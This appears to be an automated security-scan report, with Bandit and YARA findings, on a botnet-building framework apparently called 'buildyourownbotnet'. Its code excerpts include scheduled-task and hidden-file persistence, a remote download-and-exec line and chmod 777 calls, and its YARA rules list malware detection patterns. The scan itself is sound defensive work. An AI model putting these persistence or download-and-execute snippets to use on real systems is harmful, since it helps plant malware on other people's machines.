914 try: 915 output = str().join((subprocess.Popen(cmd_buffer, 0, None, subprocess.PIPE, subprocess.PIPE, subprocess.PIPE, shell=True).communicate())) 916 except: pass -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/setup.py line 48
- Likely real
- Uncertain, 32% confidence
subprocess call with shell=True identified, security issue.
47 try: 48 pip_path = subprocess.check_output('where pip' if os.name == 'nt' else 'which pip', shell=True).strip().rstrip() 49 except Exception as e: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/setup.py line 71
- Likely real
- Uncertain, 32% confidence
subprocess call with shell=True identified, security issue.
70 else: 71 subprocess.check_call("""{} -c 'from urllib import urlopen; exec(urlopen("https://bootstrap.pypa.io/get-pip.py").read())'""".format(sys.executable), shell=True) 72 except Exception as e: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/core/generators.py line 280
- Likely real
- Uncertain, 32% confidence
subprocess call with shell=True identified, security issue.
279 cwd=path, 280 shell=True) 281 282 start_time = time.time() 283 284 # wait for compilation to finish or hit 10 minute time limit 285 while True: 286 try: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/modules/persistence.py line 121
- Likely real
- Uncertain, 32% confidence
subprocess call with shell=True identified, security issue.
120 path = os.path.join(dirname, '.' + basename) 121 hide = subprocess.call('cp {} {}'.format(value, path), shell=True) == 0 122 return (True if hide else False, path) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/modules/persistence.py line 168
- Likely real
- Uncertain, 32% confidence
subprocess call with shell=True identified, security issue.
167 fileobj.write(bash) 168 bin_sh = bytes().join(subprocess.Popen('/bin/sh {}'.format(fpath), 0, None, None, subprocess.PIPE, subprocess.PIPE, shell=True).communicate()) 169 time.sleep(1) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/modules/persistence.py line 186
- Likely real
- Uncertain, 32% confidence
subprocess call with shell=True identified, security issue.
185 if value and os.path.isfile(value): 186 result = subprocess.check_output('SCHTASKS /CREATE /TN {} /TR {} /SC hourly /F'.format(name, value), shell=True) 187 if 'SUCCESS' in result: -
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/buildyourownbotnet/modules/xmrig/xmrig_win32
- Likely real
- Probably noise, 18% confidence
YARA rule matched: detect_anti_analysis — Checks for a debugger, VM, or sandbox before continuing - a common malware evasion technique, essentially never present in ordinary application code
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /byob/core/stagers.py
- Likely real
- Probably noise, 18% confidence
YARA rule matched: detect_anti_analysis — Checks for a debugger, VM, or sandbox before continuing - a common malware evasion technique, essentially never present in ordinary application code
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/buildyourownbotnet/core/stagers.py
- Likely real
- Probably noise, 18% confidence
YARA rule matched: detect_anti_analysis — Checks for a debugger, VM, or sandbox before continuing - a common malware evasion technique, essentially never present in ordinary application code
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/buildyourownbotnet/core/stagers.py
- Likely real
- Probably noise, 3% confidence
YARA rule matched: detect_base64_exec — Encoded payload decoded and then executed
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/buildyourownbotnet/client.py
- Likely real
- Probably noise, 3% confidence
YARA rule matched: detect_base64_exec — Encoded payload decoded and then executed
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/buildyourownbotnet/core/dummy_payload_for_testing.py
- Likely real
- Probably noise, 3% confidence
YARA rule matched: detect_base64_exec — Encoded payload decoded and then executed
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/buildyourownbotnet/server.py
- Likely real
- Probably noise, 3% confidence
YARA rule matched: detect_base64_exec — Encoded payload decoded and then executed
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /byob/server.py
- Likely real
- Probably noise, 3% confidence
YARA rule matched: detect_base64_exec — Encoded payload decoded and then executed
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /byob/client.py
- Likely real
- Probably noise, 3% confidence
YARA rule matched: detect_base64_exec — Encoded payload decoded and then executed
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /byob/core/generators.py
- Likely real
- Probably noise, 3% confidence
YARA rule matched: detect_base64_exec — Encoded payload decoded and then executed
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/buildyourownbotnet/core/generators.py
- Likely real
- Probably noise, 3% confidence
YARA rule matched: detect_base64_exec — Encoded payload decoded and then executed
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /byob/core/stagers.py
- Likely real
- Probably noise, 3% confidence
YARA rule matched: detect_base64_exec — Encoded payload decoded and then executed
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /byob/core/loader.py
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_download_and_execute — Downloads a remote resource AND executes it - the actually dangerous combination, not just downloading alone
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/buildyourownbotnet/core/loader.py
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_download_and_execute — Downloads a remote resource AND executes it - the actually dangerous combination, not just downloading alone
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /byob/setup.py
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_download_and_execute — Downloads a remote resource AND executes it - the actually dangerous combination, not just downloading alone
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /byob/core/payloads.py
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_download_and_execute — Downloads a remote resource AND executes it - the actually dangerous combination, not just downloading alone
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/buildyourownbotnet/core/dummy_payload_for_testing.py
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_download_and_execute — Downloads a remote resource AND executes it - the actually dangerous combination, not just downloading alone
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /byob/modules/icloud.py
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_download_and_execute — Downloads a remote resource AND executes it - the actually dangerous combination, not just downloading alone
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /byob/modules/util.py
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_download_and_execute — Downloads a remote resource AND executes it - the actually dangerous combination, not just downloading alone
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/buildyourownbotnet/assets/js/easy-pie-chart/Gruntfile.js
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_download_and_execute — Downloads a remote resource AND executes it - the actually dangerous combination, not just downloading alone
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/buildyourownbotnet/client.py
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_download_and_execute — Downloads a remote resource AND executes it - the actually dangerous combination, not just downloading alone
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/get-docker.sh
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_download_and_execute — Downloads a remote resource AND executes it - the actually dangerous combination, not just downloading alone
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /byob/core/util.py
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_download_and_execute — Downloads a remote resource AND executes it - the actually dangerous combination, not just downloading alone
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/buildyourownbotnet/modules/util.py
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_download_and_execute — Downloads a remote resource AND executes it - the actually dangerous combination, not just downloading alone
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/buildyourownbotnet/modules/icloud.py
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_download_and_execute — Downloads a remote resource AND executes it - the actually dangerous combination, not just downloading alone
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /byob/core/stagers.py
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_download_and_execute — Downloads a remote resource AND executes it - the actually dangerous combination, not just downloading alone
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/buildyourownbotnet/core/payloads.py
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_download_and_execute — Downloads a remote resource AND executes it - the actually dangerous combination, not just downloading alone
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /byob/client.py
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_download_and_execute — Downloads a remote resource AND executes it - the actually dangerous combination, not just downloading alone
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/buildyourownbotnet/core/stagers.py
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_download_and_execute — Downloads a remote resource AND executes it - the actually dangerous combination, not just downloading alone
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/buildyourownbotnet/core/util.py
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_download_and_execute — Downloads a remote resource AND executes it - the actually dangerous combination, not just downloading alone
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/docker-pyinstaller/Dockerfile-py3-i386
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_download_and_execute — Downloads a remote resource AND executes it - the actually dangerous combination, not just downloading alone
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/docker-pyinstaller/Dockerfile-py3-amd64
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_download_and_execute — Downloads a remote resource AND executes it - the actually dangerous combination, not just downloading alone
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/docker-pyinstaller/Dockerfile-py2-amd64
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_download_and_execute — Downloads a remote resource AND executes it - the actually dangerous combination, not just downloading alone
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /byob/server.py
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_download_and_execute — Downloads a remote resource AND executes it - the actually dangerous combination, not just downloading alone
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/buildyourownbotnet/assets/js/selectboxit/js/modules/jquery.selectBoxIt.core.js
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_obfuscated_string_execution — Reconstructs a string character-by-character or from hex escapes, then immediately executes it - fromCharCode/chr() alone are common in ordinary text-processing code, so this requires both the reconstruction and an execution call together
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/buildyourownbotnet/assets/js/jquery-terminal/js/jquery.terminal-2.12.0.min.js
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_obfuscated_string_execution — Reconstructs a string character-by-character or from hex escapes, then immediately executes it - fromCharCode/chr() alone are common in ordinary text-processing code, so this requires both the reconstruction and an execution call together
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/buildyourownbotnet/assets/js/jquery-terminal/js/jquery.terminal-2.4.0.min.js
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_obfuscated_string_execution — Reconstructs a string character-by-character or from hex escapes, then immediately executes it - fromCharCode/chr() alone are common in ordinary text-processing code, so this requires both the reconstruction and an execution call together
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/buildyourownbotnet/assets/js/jquery.inputmask.bundle.js
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_obfuscated_string_execution — Reconstructs a string character-by-character or from hex escapes, then immediately executes it - fromCharCode/chr() alone are common in ordinary text-processing code, so this requires both the reconstruction and an execution call together
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/buildyourownbotnet/assets/js/jquery-1.11.3.min.js
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_obfuscated_string_execution — Reconstructs a string character-by-character or from hex escapes, then immediately executes it - fromCharCode/chr() alone are common in ordinary text-processing code, so this requires both the reconstruction and an execution call together
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/buildyourownbotnet/assets/js/marked.js
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_obfuscated_string_execution — Reconstructs a string character-by-character or from hex escapes, then immediately executes it - fromCharCode/chr() alone are common in ordinary text-processing code, so this requires both the reconstruction and an execution call together
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/buildyourownbotnet/assets/js/datatables/datatables.min.js
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_obfuscated_string_execution — Reconstructs a string character-by-character or from hex escapes, then immediately executes it - fromCharCode/chr() alone are common in ordinary text-processing code, so this requires both the reconstruction and an execution call together
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/buildyourownbotnet/assets/js/jquery-terminal/js/jquery.terminal-2.12.0.js
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_obfuscated_string_execution — Reconstructs a string character-by-character or from hex escapes, then immediately executes it - fromCharCode/chr() alone are common in ordinary text-processing code, so this requires both the reconstruction and an execution call together
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/buildyourownbotnet/assets/js/rickshaw/vendor/d3.v3.js
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_obfuscated_string_execution — Reconstructs a string character-by-character or from hex escapes, then immediately executes it - fromCharCode/chr() alone are common in ordinary text-processing code, so this requires both the reconstruction and an execution call together
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/buildyourownbotnet/assets/js/jquery-terminal/js/jquery.terminal-src.js
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_obfuscated_string_execution — Reconstructs a string character-by-character or from hex escapes, then immediately executes it - fromCharCode/chr() alone are common in ordinary text-processing code, so this requires both the reconstruction and an execution call together
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/buildyourownbotnet/assets/js/jquery-terminal/js/jquery.terminal.min.js.map
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_obfuscated_string_execution — Reconstructs a string character-by-character or from hex escapes, then immediately executes it - fromCharCode/chr() alone are common in ordinary text-processing code, so this requires both the reconstruction and an execution call together
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/buildyourownbotnet/assets/js/jquery-terminal/js/jquery.terminal.js
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_obfuscated_string_execution — Reconstructs a string character-by-character or from hex escapes, then immediately executes it - fromCharCode/chr() alone are common in ordinary text-processing code, so this requires both the reconstruction and an execution call together
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/buildyourownbotnet/assets/js/datatables/pdfmake-0.1.18/build/pdfmake.js
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_obfuscated_string_execution — Reconstructs a string character-by-character or from hex escapes, then immediately executes it - fromCharCode/chr() alone are common in ordinary text-processing code, so this requires both the reconstruction and an execution call together
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/buildyourownbotnet/assets/js/datatables/datatables.js
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_obfuscated_string_execution — Reconstructs a string character-by-character or from hex escapes, then immediately executes it - fromCharCode/chr() alone are common in ordinary text-processing code, so this requires both the reconstruction and an execution call together
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/buildyourownbotnet/assets/js/jquery-terminal/js/jquery.terminal.min.js
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_obfuscated_string_execution — Reconstructs a string character-by-character or from hex escapes, then immediately executes it - fromCharCode/chr() alone are common in ordinary text-processing code, so this requires both the reconstruction and an execution call together
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/buildyourownbotnet/assets/js/codemirror/lib/codemirror.js
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_obfuscated_string_execution — Reconstructs a string character-by-character or from hex escapes, then immediately executes it - fromCharCode/chr() alone are common in ordinary text-processing code, so this requires both the reconstruction and an execution call together
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/buildyourownbotnet/assets/js/codemirror/keymap/vim.js
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_obfuscated_string_execution — Reconstructs a string character-by-character or from hex escapes, then immediately executes it - fromCharCode/chr() alone are common in ordinary text-processing code, so this requires both the reconstruction and an execution call together
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/buildyourownbotnet/assets/js/fullcalendar-2/lib/min/jquery.min-min.js
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_obfuscated_string_execution — Reconstructs a string character-by-character or from hex escapes, then immediately executes it - fromCharCode/chr() alone are common in ordinary text-processing code, so this requires both the reconstruction and an execution call together
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/buildyourownbotnet/assets/js/selectboxit/jquery.selectBoxIt.min.js
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_obfuscated_string_execution — Reconstructs a string character-by-character or from hex escapes, then immediately executes it - fromCharCode/chr() alone are common in ordinary text-processing code, so this requires both the reconstruction and an execution call together
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/buildyourownbotnet/assets/js/fullcalendar-2/lib/jquery.min.js
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_obfuscated_string_execution — Reconstructs a string character-by-character or from hex escapes, then immediately executes it - fromCharCode/chr() alone are common in ordinary text-processing code, so this requires both the reconstruction and an execution call together
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/buildyourownbotnet/assets/js/selectboxit/js/jquery.selectBoxIt.js
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_obfuscated_string_execution — Reconstructs a string character-by-character or from hex escapes, then immediately executes it - fromCharCode/chr() alone are common in ordinary text-processing code, so this requires both the reconstruction and an execution call together
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/buildyourownbotnet/assets/js/jquery-ui/js/jquery-1.9.1.js
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_obfuscated_string_execution — Reconstructs a string character-by-character or from hex escapes, then immediately executes it - fromCharCode/chr() alone are common in ordinary text-processing code, so this requires both the reconstruction and an execution call together
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/buildyourownbotnet/assets/js/ckeditor/plugins/link/dialogs/link.js
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_obfuscated_string_execution — Reconstructs a string character-by-character or from hex escapes, then immediately executes it - fromCharCode/chr() alone are common in ordinary text-processing code, so this requires both the reconstruction and an execution call together
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/buildyourownbotnet/assets/js/jquery-ui/js/jquery-ui-1.10.3.custom.min.js
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_obfuscated_string_execution — Reconstructs a string character-by-character or from hex escapes, then immediately executes it - fromCharCode/chr() alone are common in ordinary text-processing code, so this requires both the reconstruction and an execution call together
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/buildyourownbotnet/assets/js/jquery-ui/js/jquery-ui-1.10.3.custom.js
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_obfuscated_string_execution — Reconstructs a string character-by-character or from hex escapes, then immediately executes it - fromCharCode/chr() alone are common in ordinary text-processing code, so this requires both the reconstruction and an execution call together
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/buildyourownbotnet/assets/js/datatables/jQuery-1.11.3/jquery-1.11.3.min.js
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_obfuscated_string_execution — Reconstructs a string character-by-character or from hex escapes, then immediately executes it - fromCharCode/chr() alone are common in ordinary text-processing code, so this requires both the reconstruction and an execution call together
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/buildyourownbotnet/assets/js/ckeditor/ckeditor.js
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_obfuscated_string_execution — Reconstructs a string character-by-character or from hex escapes, then immediately executes it - fromCharCode/chr() alone are common in ordinary text-processing code, so this requires both the reconstruction and an execution call together
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/buildyourownbotnet/assets/js/aci-tree/js/jquery.min.js
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_obfuscated_string_execution — Reconstructs a string character-by-character or from hex escapes, then immediately executes it - fromCharCode/chr() alone are common in ordinary text-processing code, so this requires both the reconstruction and an execution call together
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/buildyourownbotnet/assets/js/datatables/jQuery-1.11.3/jquery-1.11.3.js
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_obfuscated_string_execution — Reconstructs a string character-by-character or from hex escapes, then immediately executes it - fromCharCode/chr() alone are common in ordinary text-processing code, so this requires both the reconstruction and an execution call together
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/buildyourownbotnet/assets/js/datatables/pdfmake-0.1.18/build/pdfmake.min.js
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_obfuscated_string_execution — Reconstructs a string character-by-character or from hex escapes, then immediately executes it - fromCharCode/chr() alone are common in ordinary text-processing code, so this requires both the reconstruction and an execution call together
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/buildyourownbotnet/assets/js/jquery-terminal/js/prism.js
- Likely real
- Probably noise, 1% confidence
YARA rule matched: detect_obfuscated_string_execution — Reconstructs a string character-by-character or from hex escapes, then immediately executes it - fromCharCode/chr() alone are common in ordinary text-processing code, so this requires both the reconstruction and an execution call together
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/docker-pyinstaller/Dockerfile-py2-win32
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_persistence_mechanism — Modifies a startup/scheduling location - legitimate application code essentially never does this
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/docker-pyinstaller/entrypoint-linux.sh
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_persistence_mechanism — Modifies a startup/scheduling location - legitimate application code essentially never does this
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/docker-pyinstaller/entrypoint-windows.sh
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_persistence_mechanism — Modifies a startup/scheduling location - legitimate application code essentially never does this
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/docker-pyinstaller/Dockerfile-py3-win64
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_persistence_mechanism — Modifies a startup/scheduling location - legitimate application code essentially never does this
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/docker-pyinstaller/Dockerfile-py2-amd64
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_persistence_mechanism — Modifies a startup/scheduling location - legitimate application code essentially never does this
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/docker-pyinstaller/Dockerfile-py3-win32
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_persistence_mechanism — Modifies a startup/scheduling location - legitimate application code essentially never does this
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/docker-pyinstaller/Dockerfile-py3-amd64
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_persistence_mechanism — Modifies a startup/scheduling location - legitimate application code essentially never does this
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/docker-pyinstaller/Dockerfile-py3-i386
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_persistence_mechanism — Modifies a startup/scheduling location - legitimate application code essentially never does this
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/buildyourownbotnet/modules/persistence.py
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_persistence_mechanism — Modifies a startup/scheduling location - legitimate application code essentially never does this
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /byob/modules/persistence.py
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_persistence_mechanism — Modifies a startup/scheduling location - legitimate application code essentially never does this
-
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/core/loader.py line 164
- Likely real
- Yes, 97% confidence
Deserialization with the marshal module is possibly dangerous.
163 try: 164 module_src = marshal.loads(module_compiled[8:]) 165 return module_src -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/core/loader.py line 169
- Likely real
- Yes, 97% confidence
Deserialization with the marshal module is possibly dangerous.
168 try: 169 module_src = marshal.loads(module_compiled[12:]) # Strip the .pyc file header of Python 3.3 and onwards (changed .pyc spec) 170 return module_src -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/core/dummy_payload_for_testing.py line 163
- Likely real
- Yes, 97% confidence
Deserialization with the marshal module is possibly dangerous.
162 try: 163 module_src = marshal.loads(module_compiled[8:]) 164 return module_src -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/core/dummy_payload_for_testing.py line 168
- Likely real
- Yes, 97% confidence
Deserialization with the marshal module is possibly dangerous.
167 try: 168 module_src = marshal.loads(module_compiled[12:]) # Strip the .pyc file header of Python 3.3 and onwards (changed .pyc spec) 169 return module_src -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/core/loader.py line 166
- Likely real
- Yes, 97% confidence
Deserialization with the marshal module is possibly dangerous.
165 try: 166 module_src = marshal.loads(module_compiled[8:]) 167 return module_src -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/core/loader.py line 171
- Likely real
- Yes, 97% confidence
Deserialization with the marshal module is possibly dangerous.
170 try: 171 module_src = marshal.loads(module_compiled[12:]) # Strip the .pyc file header of Python 3.3 and onwards (changed .pyc spec) 172 return module_src -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/core/dummy_payload_for_testing.py line 630
- Likely real
- Yes, 97% confidence
Chmod setting a permissive mask 0o1411 on file (target).
629 try: 630 _ = os.popen('attrib -h -r -s {}'.format(target)) if os.name == 'nt' else os.chmod(target, 777) 631 except OSError: pass -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/core/util.py line 365
- Likely real
- Yes, 97% confidence
Chmod setting a permissive mask 0o1411 on file (target).
364 try: 365 _ = os.popen('attrib -h -r -s {}'.format(target)) if os.name == 'nt' else os.chmod(target, 777) 366 except OSError: pass -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/modules/icloud.py line 41
- Likely real
- Yes, 97% confidence
Chmod setting a permissive mask 0o1363 on file (mas).
40 subprocess.Popen(['xattr','-r','-d','com.apple.quarantine',mas], 0, None, subprocess.PIPE, subprocess.PIPE, subprocess.PIPE) 41 os.chmod(mas, 755) 42 result = subprocess.check_output([mas, "account"]).rstrip() -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/modules/util.py line 365
- Likely real
- Yes, 97% confidence
Chmod setting a permissive mask 0o1411 on file (target).
364 try: 365 _ = os.popen('attrib -h -r -s {}'.format(target)) if os.name == 'nt' else os.chmod(target, 777) 366 except OSError: pass -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/core/util.py line 365
- Likely real
- Yes, 97% confidence
Chmod setting a permissive mask 0o1411 on file (target).
364 try: 365 _ = os.popen('attrib -h -r -s {}'.format(target)) if os.name == 'nt' else os.chmod(target, 777) 366 except OSError: pass -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/modules/icloud.py line 41
- Likely real
- Yes, 97% confidence
Chmod setting a permissive mask 0o1363 on file (mas).
40 subprocess.Popen(['xattr','-r','-d','com.apple.quarantine',mas], 0, None, subprocess.PIPE, subprocess.PIPE, subprocess.PIPE) 41 os.chmod(mas, 755) 42 result = subprocess.check_output([mas, "account"]).rstrip() -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/modules/util.py line 362
- Likely real
- Yes, 97% confidence
Chmod setting a permissive mask 0o1411 on file (target).
